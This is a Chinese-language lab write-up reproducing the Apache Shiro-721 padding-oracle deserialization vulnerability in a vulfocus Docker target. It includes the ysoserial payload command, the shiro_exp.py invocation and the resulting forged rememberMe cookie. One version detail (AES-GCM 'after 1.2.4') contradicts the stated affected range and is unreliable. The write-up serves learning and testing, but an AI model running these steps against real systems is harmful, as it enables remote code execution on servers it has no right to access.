Shiro历史漏洞复现 - Shiro-721

漏洞原理

Shiro rememberMe 反序列化远程代码执行漏洞

由于 Apache Shiro cookie 中通过 AES-128-CBC 模式加密的 rememberMe 字段存 在问题,用户可通过 Padding Oracle 加密生成的攻击代码来构造恶意的 rememberMe 字段,并重新请求网站,进行反序列化攻击,最终导致任意代码执行

rememberMe cookie 通过 AES-128-CBC 模式加密,易受到 Padding Oracle 攻击。可以通过结合有效的 rememberMe cookie 作为 Padding Oracle 攻击的前缀,然后精⼼制作 rememberMe 来进⾏反序列化攻击。

Tip:在1.2.4版本后,shiro已经更换 AES-CBC 为 AES-GCM ,无法再通过 Padding Oracle 遍历 key 。

影响版本

Apache Shiro <= 1.4.1(需要一个合法的登录账号,基于Padding Oracle attack来实现的攻击)

参考链接:https://www.jianshu.com/p/833582b2f560

特征判断

由于漏洞利用需要一个合法的登录账号,这里利用账号正常登陆获取一个有效的rememberMe cookie ,并记录下这个rememberMe的值

环境搭建

Docker基础操作

docker pull vulfocus/shiro-721

docker run -d -p 8080:8080 vulfocus/shiro-721

访问靶场地址,即可搭建成功

http://192.168.88.130:8080/login.jsp

漏洞复现

使用正确的用户和密码,勾选rememberMe,使用burp代理,获取返回的rememberMe值。

认证成功则不会设置deleteMe的cookie

认证失败时会设置 deleteMe 的 cookie

deleteMe 的 cookie

bVZT3bzgT/0t714w/WmYr3EP081Z0qO7gaUMGC90GK/R019JeYL+64UgucSB8COn6jlzV10THzZP0okwQ/Fs75d2XAvhepUV8RxgSWhFEWQLNq4nXw1ESgbiAQb9KyMd/nwgT9goYuMOERIbNA6Ay5AWRtuLvEaRmSTYPwxampXbnG2JlSXms45L6uqM2ek4X3y6ZSiZM80XbZUyXdOBP+EN8TuRhO+bS8N8jEWaj/uAtNZY8m94m11/SIPk1nBGfGzpcU3WIbT4R3feHaOkCHYLTuLxif1q6rItx5eICS5q8B4qVrTESf2XCFgaGp2FxlZ18AjpTOF4gwQ7cLEM7L49BhvxpAlj4w0GMOuyk27OKdUIh3+RK5qT7Dgp3fGWbEZrqyu6MCAG0TmKY2vKE1peLRNEAuQJapRU/FCVcSfSolxIMHSHb/WzBpcLehOC5Jslb5hekliouggjfNfTV6fSuvz1hLIfix2IiRwmiM/ns3xAVVsBwOc+1SxLqpt2

使用ysoserial工具生成payload

java -jar ysoserial.jar CommonsBeanutils1 "touch /tmp/1" >
payload.class

#"touch /tmp/1" 在tmp目录写入1

使用刚才burp获取到的deleteMe cookie值作为prefix,加载Payload,进行Padding Oracle攻击

脚本链接:https://github.com/wuppp/shiro_rce_exp

python shiro_exp.py http://192.168.88.130:8080 [rememberMeCookie] payload.class

python2 shiro_exp.py http://192.168.88.130:8080 bVZT3bzgT/0t714w/WmYr3EP081Z0qO7gaUMGC90GK/R019JeYL+64UgucSB8COn6jlzV10THzZP0okwQ/Fs75d2XAvhepUV8RxgSWhFEWQLNq4nXw1ESgbiAQb9KyMd/nwgT9goYuMOERIbNA6Ay5AWRtuLvEaRmSTYPwxampXbnG2JlSXms45L6uqM2ek4X3y6ZSiZM80XbZUyXdOBP+EN8TuRhO+bS8N8jEWaj/uAtNZY8m94m11/SIPk1nBGfGzpcU3WIbT4R3feHaOkCHYLTuLxif1q6rItx5eICS5q8B4qVrTESf2XCFgaGp2FxlZ18AjpTOF4gwQ7cLEM7L49BhvxpAlj4w0GMOuyk27OKdUIh3+RK5qT7Dgp3fGWbEZrqyu6MCAG0TmKY2vKE1peLRNEAuQJapRU/FCVcSfSolxIMHSHb/WzBpcLehOC5Jslb5hekliouggjfNfTV6fSuvz1hLIfix2IiRwmiM/ns3xAVVsBwOc+1SxLqpt2 payload.class
Usage: shiro_exp.py <url> <somecookie value> <payload>

中间需要很长时间

爆破成功,返回了rememberMe cookies的值

6ug1zz4BAzMfEGfqrLBO34ZfOOFO0Ucw/ocfmVCcPBdK2rQmjzPdMczCUTDsYz2M2Fbvq4zYKW4ffu8uBOqWdkyf1RmCM0LdoVLUMqTmqcdxPS0S9noRnrPEtb8UjxyWAXnZQGyEhIF3svbLkcEQIOKk+4ER3rE+6v4pq0JeEELL03FfrMfm8LudHC/FqxDuacnZv1pA2gRJguVe7Y/bSVxqqAli/TT4Cz9i6rbFl6MQSkIsXfa9UZI/wcSgH3CswahR5vF4fgm5Apr7k8hA/DqI8EqqKJQgqp+RuzmYCcMsw5/I4DDr1O7M3Nx16k7AVobuvauJDNC9r2yngVWxzSlk8fBVr6G2Jc+kNRJE1k68EhlHjTAFcV9LDzVK7rVOJmOkK+iJOwxi1T2i8bCV1fPB0bHJ2JifbtKXt1P3aQHdbZ6FbpL+2AbLYekZvwYDeOWrkxoWESRgdV3RwhMmwazgiZ1Pi5jrqhTYYeAdsEwNsmDJvkbsXBgyMmDbwE3E/rFKHEFyQD0bT54CP6UvAwgKH4dlK9fZQwMAL1iOWOxp+G/3U67RBxjzNLZ2UhG3yinc3ay4j1iQQfHh+9csRCNkLcwYwELkc8IW8OqOa1IQ0doQz0U+eEXz8vVWRKB09B263x9KUlxFkjctG/7WAAFTn2kv1kOe/lmWqZOOWbwbkhTGfi/X4rodZ0wbxBChonp7CWGeDDwDOhDWQePZaxgZ0ySEFE56NE/YkHl4l0Y2BlbDcPj7URgl+eAtQae8GZE9q+/UUrdSreH2AsON4E1WDJFzZRTn5yp5fBhJ7MZvWCFRyDISdU5kq5NIboG2VCHoud3zF0Cv5kygVfRrP7qa/83YprxQABqnrMZsxVxrLshK9VfzP1QXQ+copmNdtwZF/4n5p1ry/AYTs1qYYebc0X9l0KA9e9iLej/PMCQdrG8cTiwoBeZ5oxGK4aIc2mEGmH6xU4Y6PCXWda18Ux6LDEF7Zo5baBq4Wedn3+fW0sZAAUY1aPTMjQ+evgornrtU3mt2Zl3W9nor385RUHaOV6DSuw+rFW7zoeIyKVVjWXH7DDq14/EuFdao3lJd3pNkzRI1aeWEdNEyL+eysi8q2wR12pnMZthoiXIENBvDSYwdR/NXUob24TteBoMmC0DH3scFaIO+r2qoRMigg5ZJvuMLcKoDMKWrfTiv/jDIdo/lNwSgmhGSrHFKmpxC2D1P98iCzBU5VrH/AbipzhLKKFo6uczwxwRAauu/ityKgYYqsuHf7MqS+6yNDLoc5iPAD4gZ92+MEeIqq9/NdFy3DrcZ0bNK/FpUAT5T1oAnP3PcaZOseD+9e8JZJavOm+xsqv/0zly92Q3Fk6A9UNtVMXljS2fUWU1If6LTcCFQ26IHIfKIjxqGaB+1gEMeGcvuLBZ4lAaE2/yhRa4kswAAAAAAAAAAAAAAAAAAAAA=

访问靶场地址用burp抓包,添加上面爆破出来的remeberMe值

去靶场服务器查看 /tmp 目录下是否创建了 1 的文件

docker exec -it 035 /bin/bash

漏洞利用成功!

  • 2
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

渗透测试小白

如果您觉得满意,一分一毛也是爱

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值